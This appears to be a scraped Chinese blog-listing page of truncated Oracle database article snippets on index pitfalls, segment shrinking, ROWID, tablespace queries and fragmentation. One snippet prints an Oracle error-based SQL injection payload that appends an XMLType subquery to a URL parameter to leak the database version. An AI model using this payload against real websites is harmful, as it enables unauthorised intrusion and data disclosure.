http://liusuper.iteye.com/blog/219013
一,
oracle的索引陷阱
一个表中有几百万条数据,对某个字段加了索引,但是查询时性能并没有什么提高,这主要可能是oracle的索引限制造成的。
oracle的索引有一些索引限制,在这些索引限制发生的情况下,即使已经加了索引,oracle还是会执行一次全表扫描,查询的性能不
转载
精选
2012-08-13 17:52:29
231阅读
一、oracle的索引陷阱
1、使用不等于操作符(<>,!=)
2、使用is null或is not null
3、使用函数
4、比较不匹配的数据类型
二,各种索引使用场合及建议
三、索引创建策略
转载
精选
2011-08-01 19:26:19
414阅读
Oracle索引整理
原创
2021-03-27 23:12:10
609阅读
一,oracle的索引陷阱一个表中有几百万条数据,对某个字段加了索引,但是查询时性能并没有什么提高,这主要可能是oracle的索引限制造成的。oracle不等
原创
2014-10-21 22:30:52
46阅读
反正死锁问题你看到刚才那个结果就够了,就是他已经把死锁问题给你解决了,毕竟你只要出现死锁,毕竟有一方用户就弹出来了,
退出了,直接就弹出来了,这是ORACLE系统自己去解决了,咱们继续往下看下面咱们要讲一个概念,这个概念其实也是一样的,除了死锁这个事,咱们讲索引这个事,那索引我还是以ORACLE为例,MYSQL
其实都是一样的,其实都是想通的,其实上面的这些也都是想通的,ORACLE有自己的处
转载
2024-07-06 12:59:54
86阅读
可以用来收缩段,消除空间碎片的方法有两种:1.alter table table_name move需要注意:1)move操作会锁表。(如果是很小的表,可以在线做。如果是大表一定要注意,会长时间锁表,只能查询,影响正常业务运行。)2)move操作会使索引失效,一定要rebuild。(因为move操作会改变一些记录的ROWID,所以MOVE之后索引会变为无效,需要REBUILD。)2.使用shrin
转载
2024-04-30 00:46:11
1002阅读
一、 ROWID的概念存储了row在数据文件中的具体位置:64位 编码的数据,A-Z, a-z, 0-9, +, 和 /,row在数据块中的存储方式SELECT ROWID, last_name FROM hr.employees WHERE department_id = 20;比 如:OOOOOOFFFBBBBBBRRROOOOOO:data object number, 对应dba_obje
转载
精选
2014-05-19 17:54:43
7894阅读
oracle碎片小结 我们在使用windows的时候,都知道要定期整理磁盘碎片,因为磁盘碎片会影响性能,给管理上带来额外的 负担。那oracle更是如此,当随着数据增加,oracle处理海量数据本身就已经很费力了啊,如果再有大量 的碎片,那就是雪上加霜啊。所以碎片要引起dba的高度重视,尽早发现尽早处理。碎片是怎么产生的呢?简单理解就是由于更新和删除产生一些碎小的不能被再次使用的空间,根据每种不同
转载
2024-04-29 12:00:37
65阅读
--查询表空间使用情况select a.tablespace_name,total,free,total-free used from( select tablespace_name,sum(bytes)/1024/1024 total from dba_data_files group by tablespace_name) a,( select tablespace_n
转载
精选
2015-08-27 18:18:59
497阅读
原文地址:oracle索引类型及扫描方式大整理作者:Ryanoracle索引类型及扫描方式大整理1. 存储类型索引在各种关系型数据库系统中都是举足轻重的组成部分,其对于提高检索数据的速度起至关重要的作用。在Oracle中,索引基本分为以下几种:B*Tree索引,反向索引,降序索引...
转载
2011-11-08 15:20:00
53阅读
2评论
原文地址:oracle索引类型及扫描方式大整理作者:Ryanoracle索引类型及扫描方式大整理1. 存储类型索引在各种关系型数据库系统中都是举足轻重的组成部分,其对于提高检索数据的速度起至关重要的作用。在Oracle中,索引基本分为以下几种:B*Tree索引,反向索引,降序索引...
转载
2011-11-08 15:20:00
61阅读
2评论
全文搜索功能提供了基于字符和二进制数据的智能单词(和短语)搜索,使用全文搜索的执行效率会比普通的LIKE查询好很多。 现在在SQL Server 2008中,全文搜索功能集成到数据库中了。全文目录不再单独存储在文件系统中,现在也集成到了数据库本身当中。全文索引和查询支持功能也不再依赖于SQL Server早期版本中的分离的MSFTESQL服务
转载
2024-05-29 01:02:31
47阅读
Oracle 作为一种大型数据库,广泛应用于金融、邮电、电力、民航等数据吞吐量巨大,计算机网络广泛普及的重要部门。对于系统管理员来讲,如何保证网络稳定运行,如何提高数据库性能,使其更加安全高效,就显得尤为重要。作为影响数据库性能的一大因素 -- 数据库碎片,应当引起 DBA 的足够重视,及时发现并整理
转载
2009-05-19 16:51:50
847阅读
数据库碎片是影响数据库性能的一个大因素,应及时发现并整理碎片。一、 碎片是如何产生的当创建一个数据库实例时,会分成称为表空间(tablespace)的多个逻辑段(segment),如系统(system)表空间,临时(temporary)表空间等。一个表空间可以包含多个数据范围(extent)和一个或多个自由范围块,即自由空间(free space)。表空间、段、范围、自由空间的
原创
2013-08-06 10:01:28
628阅读
第一种方法http://www.xxox.cn/XXX/AA.php?id=1 and and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-
转载
精选
2010-12-25 20:19:01
10000+阅读
转载自:http://www.cnblogs.com/liuweihua/archive/2012/05/05/2484446.htmloracle TOPSQL整理--top 10 sql SELECT *
FROM (SELECT b.userna
转载
精选
2015-01-23 16:30:53
419阅读
Oracle常用 ##命令 命令 内容 lsnrctl status 查看监听器命令 tsnping 192.168.1.** Oracle net网络服务是否可被接受 select name from v$database 查看数据库 select instance_name from v$ins ...
转载
2021-08-12 22:48:00
127阅读
2评论
碎片是如何产生的 当生成一个数据库时,它会 分成称为表空间( Tablespace )的多个逻辑段( Segment ),如系统( System )表空间 , 临时( Temporary )表空间等。一个表空间可以包含多个数据范围( Extent )和一个或多个自由范围块,即自由空间( Free Space )。 表空间、段、范围、自由空间的逻辑关系如下: 当表空间中生成一个段时,将从
转载
精选
2013-07-30 17:21:35
412阅读
Oracle笔记整理对于启动数据库而言,在10G上先是启动监听(lsnrctl start),再是启动数据库(sqlplus / as sysdba startup;),接着启动EM(emctl startdbconsole); 在11G上安装GRID后默认是动态注册数据库实例的。数据库具体的启动过程这里必须说道SGA和PGA 一个是系统全局区,一个是程序全局区。数据库启动的时候会在内
原创
2013-12-06 12:23:14
765阅读
点赞
ora-01789 查询块具有不正确的结果列数 这个错误一般在执行表之间的相加(union),相减(minus)等SQL语句时发生。只要将两段SQL语句的列数调整一致就可以解决了。===========================================================OCI-22053ov
原创
2010-12-04 03:22:48
659阅读